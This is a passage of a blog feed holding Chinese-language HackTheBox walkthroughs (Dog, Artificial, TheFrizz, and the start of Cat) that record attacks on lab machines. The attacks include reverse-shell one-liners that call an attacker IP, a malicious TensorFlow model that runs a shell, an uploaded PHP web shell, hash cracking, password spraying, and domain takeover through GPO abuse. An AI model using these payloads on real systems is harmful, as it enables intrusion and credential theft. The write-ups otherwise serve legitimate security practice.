登录成功后，需要使用BackDrop CMS的漏洞https://www.exploit-db.com/exploits/52021。
逆天，但是这个poc根本打不通
准备尝试手动rce&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&quot;https://www.exploit-db.com/exploits/52021&quot;&gt;Exploit-DB&lt;/a&gt; 里找到了一个 RCE 漏洞，使用 POC 生成的 zip 压缩包，到 &lt;code&gt;http://10.10.11.58/?q=admin/modules/install&lt;/code&gt; 上传，发现不支持 zip 格式，将 POC 生成的 &lt;code&gt;shell&lt;/code&gt; 文件夹用 &lt;code&gt;tar&lt;/code&gt; 压缩，然后改为到 &lt;code&gt;http://10.10.11.58/?q=admin/installer/manual&lt;/code&gt; 手动上传。
发现上传成功，访问 &lt;code&gt;http://10.10.11.58/modules/shell/shell.php&lt;/code&gt; 发现可以成功 RCE ，但是似乎一两分钟就会被清掉。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &quot;import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&apos;10.10.16.86&apos;,9443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&apos;/bin/bash&apos;,&apos;-i&apos;]);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;busybox nc 10.10.16.86 1234 -e sh
rlwrap nc -nlvp 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹成功，此时获取到的 shell 用户为 www-data ，查看 /etc/passwd ，发现有两个用户 &lt;code&gt;jobert&lt;/code&gt; 和 &lt;code&gt;johncusack&lt;/code&gt; 。使用之前的密码 &lt;code&gt;BackDropJ2024DS2024&lt;/code&gt; 成功登上 &lt;code&gt;johncusack&lt;/code&gt; 的账号，拿到了 user flag 。
尝试提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现有个 &lt;code&gt;bee&lt;/code&gt; 命令，查看 help ，发现可以直接执行 &lt;code&gt;bee eval&lt;/code&gt; 命令执行 PHP 代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo bee eval &quot;system(&apos;/bin/bash&apos;);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考 &lt;a href=&quot;https://www.hackingdream.net/2020/03/linux-privilege-escalation-techniques.html&quot;&gt;这篇文章&lt;/a&gt; 发现需要带上 &lt;code&gt;--root&lt;/code&gt; 参数指定网站根目录。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/bee --root=/var/www/html eval &quot;system(&apos;/bin/bash&apos;);&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Artificial</title><link>https://sinqwq.top/posts/htb-artificial/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-artificial/</guid><description>Htb-Artificial</description><pubDate>Tue, 08 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;扫描一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.74  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;start infoscan
10.10.11.74:80 open
10.10.11.74:22 open
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.74 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 17:12 UTC
Warning: 10.10.11.74 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.74
Host is up (0.45s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   287.63 ms 10.10.16.1
2   511.63 ms 10.10.11.74

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.84 seconds                                                         
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫一下网页路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dirsearch -u http://artificial.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://artificial.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_artificial.htb/_25-06-30_17-18-14.txt

Target: http://artificial.htb/

[17:18:14] Starting: 
[17:19:39] 302 -  199B  - /dashboard  -&amp;gt;  /login                            
[17:20:09] 200 -  857B  - /login                                            
[17:20:11] 302 -  189B  - /logout  -&amp;gt;  /                                    
[17:20:37] 200 -  952B  - /register    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;未有发现&lt;/p&gt;
&lt;p&gt;发现网页可以注册登录，登录之后发现有上传点
查看具体版本要求，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tensorflow-cpu==2.13.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现只显示了tensorflow-cpu==2.13.1，这是个很低版本的，可能存在漏洞
随后进行tensorflow的漏洞检索，发现了一个RCE能够使用 [https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model]
先在本地创建一个setup.py文件，然后输入文章内的这段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tensorflow as tf

def exploit(x):
    import os
    os.system(&quot;rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.16.86 6666 &amp;gt;/tmp/f&quot;)
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save(&quot;exploit.h5&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地测试成功
将exploit.h5上传，本地监听
成功反弹
尝试提权
此时在/app/instance目录下发现了数据库文件，使用sqlite进行查看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlite3 user.db
&amp;gt; .tables
select * from user;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到了很多用户名以及加密后的密码，进行解密，成功拿到了gael用户的密码  mattp005numbertwo
登录到gael用户，成功拿到了userFlag
继续尝试提权到root&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l 
find / -prem -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看开放端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ss -tul
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Netid     State      Recv-Q     Send-Q          Local Address:Port             Peer Address:Port     Process     
udp       UNCONN     0          0               127.0.0.53%lo:domain                0.0.0.0:*                    
tcp       LISTEN     0          2048                127.0.0.1:5000                  0.0.0.0:*                    
tcp       LISTEN     0          4096                127.0.0.1:9898                  0.0.0.0:*                    
tcp       LISTEN     0          511                   0.0.0.0:http                  0.0.0.0:*                    
tcp       LISTEN     0          4096            127.0.0.53%lo:domain                0.0.0.0:*                    
tcp       LISTEN     0          128                   0.0.0.0:ssh                   0.0.0.0:*                    
tcp       LISTEN     0          511                      [::]:http                     [::]:*                    
tcp       LISTEN     0          128                      [::]:ssh                      [::]:*   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现9898开放，
本地转发看看是什么服务 mattp005numbertwo&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -N -L 9898:127.0.0.1:9898 gael@10.10.11.74
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用ssh -L转发端口后，在本地打开9898端口，发现为Backrest的登录界面，Backrest是一个开源的web界面工具
试着检索Backrest 1.7.2的漏洞，但是没有收获，只能试着寻找靶机内有没有存在用户名和密码
这里使用find命令，发现/var/backups目录下存在backrest的备份文件，将其丢到本地解压
解压后在.config文件夹中发现了backrest的配置文件，里面包含了用户名和加密后的密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然表明为BCrypt加密，但是很明显这时候还是base64编码后的结果，先base64解码，直接指定BCrypt加密方式爆破hash就可以了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;└─$ echo &quot;JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP&quot; | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt 
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录进后台&lt;/p&gt;
&lt;p&gt;在Repositories添加一个仓库，随意填写即可
发现可以执行命令
可以发现有几个有帮助的命令：backup ls dump，可以想到通过备份文件的方式查看rootFlag
先使用backup命令备份root文件夹
然后使用ls＋快照id查看，发现了rootFlag，以及.ssh密钥，基本打通了此靶场&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;backup /root
ls id
dump id /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-TheFrizz</title><link>https://sinqwq.top/posts/htb-thefrizz/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-thefrizz/</guid><description>Htb-TheFrizz</description><pubDate>Mon, 07 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.60
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10.10.11.60:80 open
10.10.11.60:22 open
10.10.11.60:135 open
10.10.11.60:445 open
10.10.11.60:88 open
10.10.11.60:139 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://10.10.11.60        code:302 len:315    title:302 Found 跳转url: http://frizzdc.frizz.htb/home/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.60 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-17 17:45 UTC
Nmap scan report for frizzdc.frizz.htb (10.10.11.60)
Host is up (0.69s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-title: Education &amp;amp;mdash; Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-18 00:46:28Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
63277/tcp open  msrpc         Microsoft Windows RPC
63281/tcp open  msrpc         Microsoft Windows RPC
63290/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s
| smb2-time: 
|   date: 2025-06-18T00:48:05
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   583.08 ms 10.10.16.1
2   583.11 ms frizzdc.frizz.htb (10.10.11.60)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据 CVE-2023–34598，LMS 存在本地文件包含漏洞，我们发现了.sql 文件：
CVE-2023–45878 容易受到远程代码执行（RCE）攻击。我使用了来自 https://github.com/killercd/CVE-2023-45878 的脚本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./CVE-2023-45878.sh 10.10.16.78 55 10.10.11.60:80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我一直弹不回来
在网上重新找了一个poc
https://github.com/davidzzo23/CVE-2023-45878&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 CVE-2023-45878.py -t 10.10.11.60 -s -i 10.10.16.78 -p 55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，列出机器中所有文件，我们在 config.php 中找到了数据库凭证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\xampp\htdocs\Gibbon-LMS&amp;gt; type config.php
&amp;lt;?php
/*
Gibbon, Flexible &amp;amp; Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.
*/

/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = &apos;localhost&apos;;
$databaseUsername = &apos;MrGibbonsDB&apos;;
$databasePassword = &apos;MisterGibbs!Parrot!?1&apos;;
$databaseName = &apos;gibbon&apos;;

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = &apos;7y59n5xz-uym-ei9p-7mmq-83vifmtyey2&apos;;

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看一下域内用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user /domain
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;User accounts for \\FRIZZDC

-------------------------------------------------------------------------------
a.perlstein              Administrator            c.ramon                  
c.sandiego               d.hudson                 f.frizzle                
g.frizzle                Guest                    h.arm                    
J.perlstein              k.franklin               krbtgt                   
l.awesome                m.ramon                  M.SchoolBus              
p.terese                 r.tennelli               t.wright                 
v.frizzle                w.li                     w.Webservice             
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过使用凭证，在目录 C:\xampp\mysql\bin 中使用 sql.exe
运行以下命令以显示所有数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\mysql.exe -u MrGibbonsDB -p&quot;MisterGibbs!Parrot!?1&quot; -e &quot;show databases;&quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用凭证进行喷洒，发现都失败了。但仔细一看，并不是密码错误，而是状态不支持，显然是禁用了 NTLM 协议。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb frizzdc -u users.txt -p &apos;MisterGibbs!Parrot!?1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换用 kerberos 认证爆破，结果显示都认证失败了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.60 -u users.txt -p &apos;MisterGibbs!Parrot!?1&apos; -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据库信息提取 (f.frizzle 用户哈希)
既然我们有了数据库密码，就连接到数据库中，看能否得用户的有效密码，我这里使用 ligolo-ng 做端口转发。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ligolo-proxy -selfcert
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接数据库，&lt;code&gt;gibbonperson&lt;/code&gt; 表看起来像是用户表，查询发现了 &lt;code&gt;f.frizzle&lt;/code&gt; 的密码，不过密码是加密且加盐的。
识别该 hash，确定是通过 SHA256 加密的，接下来使用 hashcat 尝试破解。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指定盐在前的方式破解成功，密码是 &lt;code&gt;Jenni_Luvs_Magic23&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 1420 hash /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;横向移动与权限提升 (f.frizzle)
f.frizzle 凭证验证与 BloodHound 分析
用该密码再进行喷洒，只命中了 &lt;code&gt;f.frizzle&lt;/code&gt;，没有密码相同的情况&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.60 -u users.txt -p &apos;Jenni_Luvs_Magic23&apos; -k --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以通过 ssh 登录 &lt;code&gt;f.frizzle&lt;/code&gt;，但在此之前，我先用 BloodHound 枚举域内权限，如果没有突破，再登录 &lt;code&gt;f.frizzle&lt;/code&gt; 收集信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.60 -u f.frizzle -p &apos;Jenni_Luvs_Magic23&apos; --dns-server 10.10.11.60 -k --bloodhound --collection All
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -u f.frizzle -p &apos;Jenni_Luvs_Magic23&apos; -d frizz.htb -ns 10.10.11.60 -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导入数据分析，结果比较失望，没有任何可利用的权限，只是知道 &lt;code&gt;f.frizzle&lt;/code&gt; 在远程管理用户组。
首先生成一个 &lt;code&gt;krb5.conf&lt;/code&gt; 配置文件，将其写入 &lt;code&gt;KRB5_CONFIG&lt;/code&gt; 环境变量，接着获取 &lt;code&gt;f.frizzle&lt;/code&gt; 的 TGT，保存到缓存文件，同样写入标准环境变量。后续就可以自动使用该凭据进行 kerberos 认证了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb frizzdc.frizz.htb -u f.frizzle -p &apos;Jenni_Luvs_Magic23&apos; -k --generate-krb5-file /tmp/frizz
export KRB5_CONFIG=/tmp/frizz
echo &apos;Jenni_Luvs_Magic23&apos; | kinit f.frizzle@FRIZZ.HTB
klist
export KRB5CCNAME=FILE:/tmp/krb5cc_1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接 ssh，自动使用 kerberos 认证完成登录，顺便查看特权，没有惊喜。
接着信息收集，把各个文件翻了个遍，又上传 &lt;code&gt;winpeas.exe&lt;/code&gt; 枚举了一遍，尝试了好久都一无所获。
后面想着查找隐藏文件，才想起回收站没看，在里面发现了两个压缩包。
列出回收站中的文件和它们的原始路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(New-Object -ComObject Shell.Application).NameSpace(10).Items() | Select-Object Name, Path
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看文件大小和删除日期&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(New-Object -ComObject Shell.Application).NameSpace(10).Items() | ForEach-Object {
    [PSCustomObject]@{
        &apos;文件名&apos;     = $_.Name
        &apos;原始路径&apos;   = $_.ExtendedProperty(&quot;System.ItemPathDisplay&quot;)
        &apos;删除日期&apos;   = $_.ExtendedProperty(&quot;System.DateDeleted&quot;)
        &apos;文件大小 (KB)&apos; = [math]::Round(($_.Size / 1KB), 2)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恢复文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$SourcePath = &apos;C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z&apos;
$DestinationPath = &apos;C:\Users\f.frizzle\&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Copy-Item -Path $SourcePath -Destination $DestinationPath -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Get-ChildItem -Path $DestinationPath -Filter &apos;$RE2XMEG.7z&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Rename-Item -Path (Join-Path $DestinationPath &apos;$RE2XMEG.7z&apos;) -NewName &apos;1.7z&apos; -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/wapt/conf]
└─$ cat waptserver.ini  
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到一个项目的思路不变，一定是先找配置文件，翻看里面的凭证。这里很快就发现了配置文件中的一个密码 IXN1QmNpZ0BNZWhUZWQhUgo=，看起来是 base64 编码后的结果，解码后为 !suBcig@MehTed!R。此外还能看到几个数据库文件，如果这个密码无效，我们就尝试打开这个数据库文件。
域控权限提升 (M.SchoolBus)
使用这个密码进行喷洒，成功命中 &lt;code&gt;M.SchoolBus&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.60 -u M.SchoolBus -p &apos;!suBcig@MehTed!R&apos; -k --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 BloodHound 上分析 M.SchoolBus 的权限关系，有一条控制域控的简短路径。我们控制的这个用户对于 DOMAIN CONTROLLERS@FRIZZ.HTB 这个 OU 有 WriteGPLink 权限，而这个 OU 包含了所有域控制器。
可以创建一个组策略，链接到该 OU，给域控下发命令，将 M.SchoolBus 添加到本地管理员组
GPO 滥用与 SYSTEM 权限获取
同样的方式 ssh 登录 &lt;code&gt;M.SchoolBus&lt;/code&gt;，上传 &lt;code&gt;SharpGPOAbuse.exe&lt;/code&gt; 并执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh M.SchoolBus@10.10.11.60
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.60 -u &apos;M.SchoolBus&apos; -p &apos;!suBcig@MehTed!R&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nano /etc/resolv.conf 
nxc smb frizzdc.frizz.htb -u M.SchoolBus -p &apos;!suBcig@MehTed!R&apos; -k --generate-krb5-file /tmp/frizz
export KRB5_CONFIG=/tmp/frizz
echo &apos;!suBcig@MehTed!R&apos; | kinit M.SchoolBus@FRIZZ.HTB
klist
export KRB5CCNAME=FILE:/tmp/krb5cc_1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下载&lt;code&gt;SharpGPOAbuse.exe&lt;/code&gt; 是一个专门用于 &lt;strong&gt;滥用 Active Directory (AD) 组策略对象 (GPO) 权限&lt;/strong&gt;的工具。它通常被红队成员或渗透测试人员用来在 Windows 网络中实现&lt;strong&gt;权限提升&lt;/strong&gt;和&lt;strong&gt;横向移动&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SharpGPOAbuse.exe&lt;/code&gt; 的核心功能&lt;/p&gt;
&lt;p&gt;这个工具的核心思想是，如果攻击者已经获得了对某个 GPO 的编辑权限（即使是低权限用户），他们就可以利用这些权限来修改 GPO 的配置，从而影响到该 GPO 所控制的任何用户或计算机。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-WebRequest -Uri http://10.10.16.78/SharpGPOAbuse.exe -OutFile C:\Users\M.SchoolBus\SharpGPOAbuse.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 创建一个叫做cat的GPO，链接到指定OU。
New-GPO -Name &quot;cat&quot; | New-GPLink -Target &quot;OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB&quot; -LinkEnabled Yes
# GPO任务为将M.SchoolBus添加到本地管理员组.
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName &quot;cat&quot; --force
net localgroup administrators
# 立即下发
gpupdate /force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 M.SchoolBus 已经在本地管理员组内，接下来通过 psexec 登录，成功提权到 SYSTEM。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec frizz.htb/M.SchoolBus@frizzdc.frizz.htb -k -no-pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不知道为什么一直打不通，换其他办法
&lt;code&gt;RunasCs.exe&lt;/code&gt; 是一个在 Windows 环境下用于 &lt;strong&gt;以其他用户身份执行命令/程序，并可能进行权限提升或 UAC 绕过&lt;/strong&gt; 的工具。它在网络安全攻防演练和渗透测试中扮演着重要的角色。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-WebRequest -Uri http://10.10.16.78/RunasCs.exe -OutFile C:\Users\M.SchoolBus\RunasCs.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.\RunasCs.exe &apos;M.schoolbus&apos; &apos;!suBcig@MehTed!R&apos; powershell.exe -r 10.10.16.78:5555
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Cat</title><link>https://sinqwq.top/posts/htb-cat/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-cat/</guid><description>Htb-Cat</description><pubDate>Sun, 06 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.53
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;start infoscan
10.10.11.53:22 open
10.10.11.53:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.53        code:301 len:300    title:301 Moved Permanently 跳转url: http://cat.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.53 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 18:28 UTC
Warning: 10.10.11.53 giving up on port because retransmission cap hit (10).
Nmap scan report for cat.htb (10.10.11.53)
Host is up (0.51s latency).
